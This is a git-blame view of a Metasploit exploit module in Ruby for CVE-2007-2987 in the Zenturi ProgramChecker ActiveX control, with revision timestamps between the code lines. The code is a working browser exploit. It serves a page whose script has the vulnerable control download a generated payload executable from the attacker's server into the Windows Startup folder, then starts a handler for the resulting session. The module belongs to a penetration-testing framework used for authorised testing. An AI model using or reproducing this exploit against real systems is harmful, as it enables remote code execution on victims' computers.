Files
metasploit-gs/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

88 lines
2.4 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
2010-11-24 19:35:38 +00:00
'Name' => 'Zenturi ProgramChecker ActiveX Control Arbitrary File Download',
'Description' => %q{
This module allows remote attackers to place arbitrary files on a users file system
via the Zenturi ProgramChecker sasatl.dll (1.5.0.531) ActiveX Control.
},
2009-11-14 18:09:05 +00:00
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'References' =>
[
[ 'CVE', '2007-2987' ],
[ 'OSVDB', '36715' ],
[ 'BID', '24217' ],
],
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2007-05-29',
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
register_options(
[
OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\']),
])
end
2013-08-30 16:28:54 -05:00
def autofilter
false
end
2013-08-30 16:28:54 -05:00
def check_dependencies
use_zlib
end
2013-08-30 16:28:54 -05:00
def on_request_uri(cli, request)
2013-08-30 16:28:54 -05:00
payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"
2013-08-30 16:28:54 -05:00
if (request.uri.match(/payload/))
return if ((p = regenerate_payload(cli)) == nil)
data = generate_payload_exe({ :code => p.encoded })
2012-04-20 13:31:42 -06:00
print_status("Sending payload EXE")
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
2013-08-30 16:28:54 -05:00
vname = rand_text_alpha(rand(100) + 1)
exe = rand_text_alpha(rand(20) + 1)
2013-08-30 16:28:54 -05:00
content = %Q|
<html>
<object id='#{vname}' classid='clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5'></object>
<script language="JavaScript">
#{vname}.DownloadFile("#{payload_url}", "#{datastore['PATH']}\\#{exe}.exe", 1, 1);
</script>
</html>
|
2013-08-30 16:28:54 -05:00
2012-04-20 13:31:42 -06:00
print_status("Sending #{self.name}")
2013-08-30 16:28:54 -05:00
send_response_html(cli, content)
2013-08-30 16:28:54 -05:00
handler(cli)
2013-08-30 16:28:54 -05:00
end
2009-06-20 17:42:17 +00:00
end